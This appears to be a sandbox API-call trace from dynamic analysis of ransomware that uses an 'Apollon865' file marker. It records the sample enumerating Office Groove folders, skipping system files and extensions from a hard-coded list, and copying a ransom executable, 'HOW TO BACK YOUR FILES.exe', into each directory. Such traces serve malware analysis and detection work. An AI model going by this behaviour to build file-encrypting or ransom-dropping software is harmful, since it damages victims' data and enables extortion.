	[0071.225] lstrcmpiW (lpString1="IMAGE.JPG", lpString2=".dll") returned 1
	[0071.225] lstrlenW (lpString=".lnk") returned 4
	[0071.225] lstrcmpiW (lpString1="IMAGE.JPG", lpString2=".lnk") returned 1
	[0071.225] lstrlenW (lpString=".ini") returned 4
	[0071.225] lstrcmpiW (lpString1="IMAGE.JPG", lpString2=".ini") returned 1
	[0071.225] lstrlenW (lpString=".sys") returned 4
	[0071.225] lstrcmpiW (lpString1="IMAGE.JPG", lpString2=".sys") returned 1
	[0071.225] lstrlenW (lpString="IMAGE.JPG") returned 9
	[0071.225] lstrcpyW (in: lpString1=0x2d3e616, lpString2="LINE.JPG" | out: lpString1="LINE.JPG") returned="LINE.JPG"
	[0071.225] lstrlenW (lpString="LINE.JPG") returned 8
	[0071.225] lstrlenW (lpString="Apollon865") returned 10
	[0071.225] lstrlenW (lpString=".dll") returned 4
	[0071.225] lstrcmpiW (lpString1="LINE.JPG", lpString2=".dll") returned 1
	[0071.225] lstrlenW (lpString=".lnk") returned 4
	[0071.226] lstrcmpiW (lpString1="LINE.JPG", lpString2=".lnk") returned 1
	[0071.226] lstrlenW (lpString=".ini") returned 4
	[0071.226] lstrcmpiW (lpString1="LINE.JPG", lpString2=".ini") returned 1
	[0071.226] lstrlenW (lpString=".sys") returned 4
	[0071.226] lstrcmpiW (lpString1="LINE.JPG", lpString2=".sys") returned 1
	[0071.226] lstrlenW (lpString="LINE.JPG") returned 8
	[0071.226] lstrcpyW (in: lpString1=0x2d3e616, lpString2="LISTBOX.JPG" | out: lpString1="LISTBOX.JPG") returned="LISTBOX.JPG"
	[0071.226] lstrlenW (lpString="LISTBOX.JPG") returned 11
	[0071.226] lstrlenW (lpString="Apollon865") returned 10
	[0071.226] lstrcmpiW (lpString1="ISTBOX.JPG", lpString2="Apollon865") returned 1
	[0071.226] lstrlenW (lpString=".dll") returned 4
	[0071.226] lstrcmpiW (lpString1="LISTBOX.JPG", lpString2=".dll") returned 1
	[0071.226] lstrlenW (lpString=".lnk") returned 4
	[0071.226] lstrcmpiW (lpString1="LISTBOX.JPG", lpString2=".lnk") returned 1
	[0071.226] lstrlenW (lpString=".ini") returned 4
	[0071.226] lstrcmpiW (lpString1="LISTBOX.JPG", lpString2=".ini") returned 1
	[0071.226] lstrlenW (lpString=".sys") returned 4
	[0071.226] lstrcmpiW (lpString1="LISTBOX.JPG", lpString2=".sys") returned 1
	[0071.226] lstrlenW (lpString="LISTBOX.JPG") returned 11
	[0071.226] lstrcpyW (in: lpString1=0x2d3e616, lpString2="NUMERIC.JPG" | out: lpString1="NUMERIC.JPG") returned="NUMERIC.JPG"
	[0071.226] lstrlenW (lpString="NUMERIC.JPG") returned 11
	[0071.226] lstrlenW (lpString="Apollon865") returned 10
	[0071.226] lstrcmpiW (lpString1="UMERIC.JPG", lpString2="Apollon865") returned 1
	[0071.226] lstrlenW (lpString=".dll") returned 4
	[0071.226] lstrcmpiW (lpString1="NUMERIC.JPG", lpString2=".dll") returned 1
	[0071.226] lstrlenW (lpString=".lnk") returned 4
	[0071.226] lstrcmpiW (lpString1="NUMERIC.JPG", lpString2=".lnk") returned 1
	[0071.226] lstrlenW (lpString=".ini") returned 4
	[0071.226] lstrcmpiW (lpString1="NUMERIC.JPG", lpString2=".ini") returned 1
	[0071.226] lstrlenW (lpString=".sys") returned 4
	[0071.226] lstrcmpiW (lpString1="NUMERIC.JPG", lpString2=".sys") returned 1
	[0071.226] lstrlenW (lpString="NUMERIC.JPG") returned 11
	[0071.227] lstrcpyW (in: lpString1=0x2d3e616, lpString2="PASSWORD.JPG" | out: lpString1="PASSWORD.JPG") returned="PASSWORD.JPG"
	[0071.227] lstrlenW (lpString="PASSWORD.JPG") returned 12
	[0071.227] lstrlenW (lpString="Apollon865") returned 10
	[0071.227] lstrcmpiW (lpString1="SSWORD.JPG", lpString2="Apollon865") returned 1
	[0071.227] lstrlenW (lpString=".dll") returned 4
	[0071.227] lstrcmpiW (lpString1="PASSWORD.JPG", lpString2=".dll") returned 1
	[0071.227] lstrlenW (lpString=".lnk") returned 4
	[0071.227] lstrcmpiW (lpString1="PASSWORD.JPG", lpString2=".lnk") returned 1
	[0071.227] lstrlenW (lpString=".ini") returned 4
	[0071.227] lstrcmpiW (lpString1="PASSWORD.JPG", lpString2=".ini") returned 1
	[0071.227] lstrlenW (lpString=".sys") returned 4
	[0071.227] lstrcmpiW (lpString1="PASSWORD.JPG", lpString2=".sys") returned 1
	[0071.227] lstrlenW (lpString="PASSWORD.JPG") returned 12
	[0071.227] lstrcpyW (in: lpString1=0x2d3e616, lpString2="RADIO.JPG" | out: lpString1="RADIO.JPG") returned="RADIO.JPG"
	[0071.227] lstrlenW (lpString="RADIO.JPG") returned 9
	[0071.227] lstrlenW (lpString="Apollon865") returned 10
	[0071.227] lstrlenW (lpString=".dll") returned 4
	[0071.227] lstrcmpiW (lpString1="RADIO.JPG", lpString2=".dll") returned 1
	[0071.227] lstrlenW (lpString=".lnk") returned 4
	[0071.227] lstrcmpiW (lpString1="RADIO.JPG", lpString2=".lnk") returned 1
	[0071.227] lstrlenW (lpString=".ini") returned 4
	[0071.227] lstrcmpiW (lpString1="RADIO.JPG", lpString2=".ini") returned 1
	[0071.227] lstrlenW (lpString=".sys") returned 4
	[0071.227] lstrcmpiW (lpString1="RADIO.JPG", lpString2=".sys") returned 1
	[0071.227] lstrlenW (lpString="RADIO.JPG") returned 9
	[0071.227] lstrcpyW (in: lpString1=0x2d3e616, lpString2="SectionHeading.jpg" | out: lpString1="SectionHeading.jpg") returned="SectionHeading.jpg"
	[0071.227] lstrlenW (lpString="SectionHeading.jpg") returned 18
	[0071.227] lstrlenW (lpString="Apollon865") returned 10
	[0071.227] lstrcmpiW (lpString1="eading.jpg", lpString2="Apollon865") returned 1
	[0071.227] lstrlenW (lpString=".dll") returned 4
	[0071.228] lstrcmpiW (lpString1="SectionHeading.jpg", lpString2=".dll") returned 1
	[0071.228] lstrlenW (lpString=".lnk") returned 4
	[0071.228] lstrcmpiW (lpString1="SectionHeading.jpg", lpString2=".lnk") returned 1
	[0071.228] lstrlenW (lpString=".ini") returned 4
	[0071.228] lstrcmpiW (lpString1="SectionHeading.jpg", lpString2=".ini") returned 1
	[0071.228] lstrlenW (lpString=".sys") returned 4
	[0071.228] lstrcmpiW (lpString1="SectionHeading.jpg", lpString2=".sys") returned 1
	[0071.228] lstrlenW (lpString="SectionHeading.jpg") returned 18
	[0071.228] lstrcpyW (in: lpString1=0x2d3e616, lpString2="StaticText.jpg" | out: lpString1="StaticText.jpg") returned="StaticText.jpg"
	[0071.228] lstrlenW (lpString="StaticText.jpg") returned 14
	[0071.228] lstrlenW (lpString="Apollon865") returned 10
	[0071.228] lstrcmpiW (lpString1="icText.jpg", lpString2="Apollon865") returned 1
	[0071.228] lstrlenW (lpString=".dll") returned 4
	[0071.228] lstrcmpiW (lpString1="StaticText.jpg", lpString2=".dll") returned 1
	[0071.228] lstrlenW (lpString=".lnk") returned 4
	[0071.228] lstrcmpiW (lpString1="StaticText.jpg", lpString2=".lnk") returned 1
	[0071.228] lstrlenW (lpString=".ini") returned 4
	[0071.228] lstrcmpiW (lpString1="StaticText.jpg", lpString2=".ini") returned 1
	[0071.228] lstrlenW (lpString=".sys") returned 4
	[0071.228] lstrcmpiW (lpString1="StaticText.jpg", lpString2=".sys") returned 1
	[0071.228] lstrlenW (lpString="StaticText.jpg") returned 14
	[0071.228] lstrcpyW (in: lpString1=0x2d3e616, lpString2="TEXTAREA.JPG" | out: lpString1="TEXTAREA.JPG") returned="TEXTAREA.JPG"
	[0071.228] lstrlenW (lpString="TEXTAREA.JPG") returned 12
	[0071.228] lstrlenW (lpString="Apollon865") returned 10
	[0071.228] lstrcmpiW (lpString1="XTAREA.JPG", lpString2="Apollon865") returned 1
	[0071.228] lstrlenW (lpString=".dll") returned 4
	[0071.228] lstrcmpiW (lpString1="TEXTAREA.JPG", lpString2=".dll") returned 1
	[0071.228] lstrlenW (lpString=".lnk") returned 4
	[0071.228] lstrcmpiW (lpString1="TEXTAREA.JPG", lpString2=".lnk") returned 1
	[0071.228] lstrlenW (lpString=".ini") returned 4
	[0071.228] lstrcmpiW (lpString1="TEXTAREA.JPG", lpString2=".ini") returned 1
	[0071.228] lstrlenW (lpString=".sys") returned 4
	[0071.229] lstrcmpiW (lpString1="TEXTAREA.JPG", lpString2=".sys") returned 1
	[0071.229] lstrlenW (lpString="TEXTAREA.JPG") returned 12
	[0071.229] lstrcpyW (in: lpString1=0x2d3e616, lpString2="TEXTBOX.JPG" | out: lpString1="TEXTBOX.JPG") returned="TEXTBOX.JPG"
	[0071.229] lstrlenW (lpString="TEXTBOX.JPG") returned 11
	[0071.229] lstrlenW (lpString="Apollon865") returned 10
	[0071.229] lstrcmpiW (lpString1="EXTBOX.JPG", lpString2="Apollon865") returned 1
	[0071.229] lstrlenW (lpString=".dll") returned 4
	[0071.229] lstrcmpiW (lpString1="TEXTBOX.JPG", lpString2=".dll") returned 1
	[0071.229] lstrlenW (lpString=".lnk") returned 4
	[0071.229] lstrcmpiW (lpString1="TEXTBOX.JPG", lpString2=".lnk") returned 1
	[0071.229] lstrlenW (lpString=".ini") returned 4
	[0071.229] lstrcmpiW (lpString1="TEXTBOX.JPG", lpString2=".ini") returned 1
	[0071.229] lstrlenW (lpString=".sys") returned 4
	[0071.229] lstrcmpiW (lpString1="TEXTBOX.JPG", lpString2=".sys") returned 1
	[0071.229] lstrlenW (lpString="TEXTBOX.JPG") returned 11
	[0071.229] lstrcpyW (in: lpString1=0x2d3e616, lpString2="TEXTVIEW.JPG" | out: lpString1="TEXTVIEW.JPG") returned="TEXTVIEW.JPG"
	[0071.229] lstrlenW (lpString="TEXTVIEW.JPG") returned 12
	[0071.229] lstrlenW (lpString="Apollon865") returned 10
	[0071.229] lstrcmpiW (lpString1="XTVIEW.JPG", lpString2="Apollon865") returned 1
	[0071.229] lstrlenW (lpString=".dll") returned 4
	[0071.229] lstrcmpiW (lpString1="TEXTVIEW.JPG", lpString2=".dll") returned 1
	[0071.229] lstrlenW (lpString=".lnk") returned 4
	[0071.229] lstrcmpiW (lpString1="TEXTVIEW.JPG", lpString2=".lnk") returned 1
	[0071.229] lstrlenW (lpString=".ini") returned 4
	[0071.229] lstrcmpiW (lpString1="TEXTVIEW.JPG", lpString2=".ini") returned 1
	[0071.229] lstrlenW (lpString=".sys") returned 4
	[0071.229] lstrcmpiW (lpString1="TEXTVIEW.JPG", lpString2=".sys") returned 1
	[0071.229] lstrlenW (lpString="TEXTVIEW.JPG") returned 12
	[0071.229] lstrcpyW (in: lpString1=0x2d3e616, lpString2="UnformattedNumeric.jpg" | out: lpString1="UnformattedNumeric.jpg") returned="UnformattedNumeric.jpg"
	[0071.230] lstrlenW (lpString="UnformattedNumeric.jpg") returned 22
	[0071.230] lstrlenW (lpString="Apollon865") returned 10
	[0071.230] lstrcmpiW (lpString1="umeric.jpg", lpString2="Apollon865") returned 1
	[0071.230] lstrlenW (lpString=".dll") returned 4
	[0071.230] lstrcmpiW (lpString1="UnformattedNumeric.jpg", lpString2=".dll") returned 1
	[0071.230] lstrlenW (lpString=".lnk") returned 4
	[0071.230] lstrcmpiW (lpString1="UnformattedNumeric.jpg", lpString2=".lnk") returned 1
	[0071.230] lstrlenW (lpString=".ini") returned 4
	[0071.230] lstrcmpiW (lpString1="UnformattedNumeric.jpg", lpString2=".ini") returned 1
	[0071.230] lstrlenW (lpString=".sys") returned 4
	[0071.230] lstrcmpiW (lpString1="UnformattedNumeric.jpg", lpString2=".sys") returned 1
	[0071.230] lstrlenW (lpString="UnformattedNumeric.jpg") returned 22
	[0071.230] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview"
	[0071.230] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c1458 | out: hHeap=0x580000) returned 1
	[0071.230] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fbc8 | out: hHeap=0x580000) returned 1
	[0071.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview") returned 90
	[0071.230] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview"
	[0071.230] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0071.230] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\groovedocumentreview\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0071.265] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0071.265] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51174850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x428d7cf0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x428d7cf0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0071.265] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0071.265] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0071.265] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0071.265] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51174850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x428d7cf0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x428d7cf0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0071.265] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0071.265] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0071.265] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0071.265] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0071.265] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81443a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51174850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81443a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x2519, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ActiveTabImage.jpg", cAlternateFileName="ACTIVE~1.JPG")) returned 1
	[0071.265] lstrcmpiW (lpString1="ActiveTabImage.jpg", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0071.265] lstrcmpiW (lpString1="ActiveTabImage.jpg", lpString2="Apollon865.txt.exe") returned -1
	[0071.265] lstrcmpiW (lpString1="ActiveTabImage.jpg", lpString2=".") returned 1
	[0071.265] lstrcmpiW (lpString1="ActiveTabImage.jpg", lpString2="..") returned 1
	[0071.265] lstrcmpiW (lpString1="ActiveTabImage.jpg", lpString2="windows") returned -1
	[0071.265] lstrcmpiW (lpString1="ActiveTabImage.jpg", lpString2="bootmgr") returned -1
	[0071.265] lstrcmpiW (lpString1="ActiveTabImage.jpg", lpString2="temp") returned -1
	[0071.265] lstrcmpiW (lpString1="ActiveTabImage.jpg", lpString2="pagefile.sys") returned -1
	[0071.265] lstrcmpiW (lpString1="ActiveTabImage.jpg", lpString2="boot") returned -1
	[0071.265] lstrcmpiW (lpString1="ActiveTabImage.jpg", lpString2="ids.txt") returned -1
	[0071.265] lstrcmpiW (lpString1="ActiveTabImage.jpg", lpString2="ntuser.dat") returned -1
	[0071.265] lstrcmpiW (lpString1="ActiveTabImage.jpg", lpString2="perflogs") returned -1
	[0071.266] lstrcmpiW (lpString1="ActiveTabImage.jpg", lpString2="MSBuild") returned -1
	[0071.266] lstrlenW (lpString="ActiveTabImage.jpg") returned 18
	[0071.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\*") returned 92
	[0071.266] lstrcpyW (in: lpString1=0x2d3e606, lpString2="ActiveTabImage.jpg" | out: lpString1="ActiveTabImage.jpg") returned="ActiveTabImage.jpg"
	[0071.266] lstrlenW (lpString="ActiveTabImage.jpg") returned 18
	[0071.266] lstrlenW (lpString="Apollon865") returned 10
	[0071.266] lstrcmpiW (lpString1="bImage.jpg", lpString2="Apollon865") returned 1
	[0071.266] lstrlenW (lpString=".dll") returned 4
	[0071.266] lstrcmpiW (lpString1="ActiveTabImage.jpg", lpString2=".dll") returned 1
	[0071.266] lstrlenW (lpString=".lnk") returned 4
	[0071.266] lstrcmpiW (lpString1="ActiveTabImage.jpg", lpString2=".lnk") returned 1
	[0071.266] lstrlenW (lpString=".ini") returned 4
	[0071.266] lstrcmpiW (lpString1="ActiveTabImage.jpg", lpString2=".ini") returned 1
	[0071.266] lstrlenW (lpString=".sys") returned 4
	[0071.266] lstrcmpiW (lpString1="ActiveTabImage.jpg", lpString2=".sys") returned 1
	[0071.266] lstrlenW (lpString="ActiveTabImage.jpg") returned 18
	[0071.266] lstrcpyW (in: lpString1=0x2d3e606, lpString2="ActiveTabImageMask.bmp" | out: lpString1="ActiveTabImageMask.bmp") returned="ActiveTabImageMask.bmp"
	[0071.266] lstrlenW (lpString="ActiveTabImageMask.bmp") returned 22
	[0071.266] lstrlenW (lpString="Apollon865") returned 10
	[0071.266] lstrcmpiW (lpString1="geMask.bmp", lpString2="Apollon865") returned 1
	[0071.266] lstrlenW (lpString=".dll") returned 4
	[0071.266] lstrcmpiW (lpString1="ActiveTabImageMask.bmp", lpString2=".dll") returned 1
	[0071.266] lstrlenW (lpString=".lnk") returned 4
	[0071.266] lstrcmpiW (lpString1="ActiveTabImageMask.bmp", lpString2=".lnk") returned 1
	[0071.266] lstrlenW (lpString=".ini") returned 4
	[0071.266] lstrcmpiW (lpString1="ActiveTabImageMask.bmp", lpString2=".ini") returned 1
	[0071.266] lstrlenW (lpString=".sys") returned 4
	[0071.266] lstrcmpiW (lpString1="ActiveTabImageMask.bmp", lpString2=".sys") returned 1
	[0071.267] lstrlenW (lpString="ActiveTabImageMask.bmp") returned 22
	[0071.267] lstrcpyW (in: lpString1=0x2d3e606, lpString2="BodyPaneBackground.jpg" | out: lpString1="BodyPaneBackground.jpg") returned="BodyPaneBackground.jpg"
	[0071.267] lstrlenW (lpString="BodyPaneBackground.jpg") returned 22
	[0071.267] lstrlenW (lpString="Apollon865") returned 10
	[0071.267] lstrcmpiW (lpString1="ground.jpg", lpString2="Apollon865") returned 1
	[0071.267] lstrlenW (lpString=".dll") returned 4
	[0071.267] lstrcmpiW (lpString1="BodyPaneBackground.jpg", lpString2=".dll") returned 1
	[0071.267] lstrlenW (lpString=".lnk") returned 4
	[0071.267] lstrcmpiW (lpString1="BodyPaneBackground.jpg", lpString2=".lnk") returned 1
	[0071.267] lstrlenW (lpString=".ini") returned 4
	[0071.267] lstrcmpiW (lpString1="BodyPaneBackground.jpg", lpString2=".ini") returned 1
	[0071.267] lstrlenW (lpString=".sys") returned 4
	[0071.267] lstrcmpiW (lpString1="BodyPaneBackground.jpg", lpString2=".sys") returned 1
	[0071.267] lstrlenW (lpString="BodyPaneBackground.jpg") returned 22
	[0071.267] lstrcpyW (in: lpString1=0x2d3e606, lpString2="InactiveTabImage.jpg" | out: lpString1="InactiveTabImage.jpg") returned="InactiveTabImage.jpg"
	[0071.267] lstrlenW (lpString="InactiveTabImage.jpg") returned 20
	[0071.267] lstrlenW (lpString="Apollon865") returned 10
	[0071.267] lstrcmpiW (lpString1="bImage.jpg", lpString2="Apollon865") returned 1
	[0071.267] lstrlenW (lpString=".dll") returned 4
	[0071.267] lstrcmpiW (lpString1="InactiveTabImage.jpg", lpString2=".dll") returned 1
	[0071.267] lstrlenW (lpString=".lnk") returned 4
	[0071.267] lstrcmpiW (lpString1="InactiveTabImage.jpg", lpString2=".lnk") returned 1
	[0071.267] lstrlenW (lpString=".ini") returned 4
	[0071.267] lstrcmpiW (lpString1="InactiveTabImage.jpg", lpString2=".ini") returned 1
	[0071.267] lstrlenW (lpString=".sys") returned 4
	[0071.267] lstrcmpiW (lpString1="InactiveTabImage.jpg", lpString2=".sys") returned 1
	[0071.267] lstrlenW (lpString="InactiveTabImage.jpg") returned 20
	[0071.267] lstrcpyW (in: lpString1=0x2d3e606, lpString2="InactiveTabImageMask.bmp" | out: lpString1="InactiveTabImageMask.bmp") returned="InactiveTabImageMask.bmp"
	[0071.267] lstrlenW (lpString="InactiveTabImageMask.bmp") returned 24
	[0071.267] lstrlenW (lpString="Apollon865") returned 10
	[0071.268] lstrcmpiW (lpString1="geMask.bmp", lpString2="Apollon865") returned 1
	[0071.268] lstrlenW (lpString=".dll") returned 4
	[0071.268] lstrcmpiW (lpString1="InactiveTabImageMask.bmp", lpString2=".dll") returned 1
	[0071.268] lstrlenW (lpString=".lnk") returned 4
	[0071.268] lstrcmpiW (lpString1="InactiveTabImageMask.bmp", lpString2=".lnk") returned 1
	[0071.268] lstrlenW (lpString=".ini") returned 4
	[0071.268] lstrcmpiW (lpString1="InactiveTabImageMask.bmp", lpString2=".ini") returned 1
	[0071.268] lstrlenW (lpString=".sys") returned 4
	[0071.268] lstrcmpiW (lpString1="InactiveTabImageMask.bmp", lpString2=".sys") returned 1
	[0071.268] lstrlenW (lpString="InactiveTabImageMask.bmp") returned 24
	[0071.268] lstrcpyW (in: lpString1=0x2d3e606, lpString2="MarkupIconImages.jpg" | out: lpString1="MarkupIconImages.jpg") returned="MarkupIconImages.jpg"
	[0071.268] lstrlenW (lpString="MarkupIconImages.jpg") returned 20
	[0071.268] lstrlenW (lpString="Apollon865") returned 10
	[0071.268] lstrcmpiW (lpString1="Images.jpg", lpString2="Apollon865") returned 1
	[0071.268] lstrlenW (lpString=".dll") returned 4
	[0071.268] lstrcmpiW (lpString1="MarkupIconImages.jpg", lpString2=".dll") returned 1
	[0071.268] lstrlenW (lpString=".lnk") returned 4
	[0071.268] lstrcmpiW (lpString1="MarkupIconImages.jpg", lpString2=".lnk") returned 1
	[0071.268] lstrlenW (lpString=".ini") returned 4
	[0071.268] lstrcmpiW (lpString1="MarkupIconImages.jpg", lpString2=".ini") returned 1
	[0071.268] lstrlenW (lpString=".sys") returned 4
	[0071.268] lstrcmpiW (lpString1="MarkupIconImages.jpg", lpString2=".sys") returned 1
	[0071.268] lstrlenW (lpString="MarkupIconImages.jpg") returned 20
	[0071.268] lstrcpyW (in: lpString1=0x2d3e606, lpString2="MarkupIconImagesMask.bmp" | out: lpString1="MarkupIconImagesMask.bmp") returned="MarkupIconImagesMask.bmp"
	[0071.268] lstrlenW (lpString="MarkupIconImagesMask.bmp") returned 24
	[0071.268] lstrlenW (lpString="Apollon865") returned 10
	[0071.268] lstrcmpiW (lpString1="esMask.bmp", lpString2="Apollon865") returned 1
	[0071.268] lstrlenW (lpString=".dll") returned 4
	[0071.268] lstrcmpiW (lpString1="MarkupIconImagesMask.bmp", lpString2=".dll") returned 1
	[0071.268] lstrlenW (lpString=".lnk") returned 4
	[0071.268] lstrcmpiW (lpString1="MarkupIconImagesMask.bmp", lpString2=".lnk") returned 1
	[0071.268] lstrlenW (lpString=".ini") returned 4
	[0071.268] lstrcmpiW (lpString1="MarkupIconImagesMask.bmp", lpString2=".ini") returned 1
	[0071.268] lstrlenW (lpString=".sys") returned 4
	[0071.269] lstrcmpiW (lpString1="MarkupIconImagesMask.bmp", lpString2=".sys") returned 1
	[0071.269] lstrlenW (lpString="MarkupIconImagesMask.bmp") returned 24
	[0071.269] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\DocumentShare", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\DocumentShare") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\DocumentShare"
	[0071.269] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a33e8 | out: hHeap=0x580000) returned 1
	[0071.269] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fe28 | out: hHeap=0x580000) returned 1
	[0071.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\DocumentShare") returned 83
	[0071.269] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\DocumentShare" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\DocumentShare") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\DocumentShare"
	[0071.269] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0071.269] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\DocumentShare\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\documentshare\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0071.273] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0071.273] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\DocumentShare\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x709f1ef0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x428d7cf0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x428d7cf0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0071.273] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0071.273] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0071.273] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0071.273] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x709f1ef0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x428d7cf0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x428d7cf0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0071.273] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0071.273] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0071.273] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0071.273] lstrcmpiW (lpString1="..", lpString2="..") returned 0
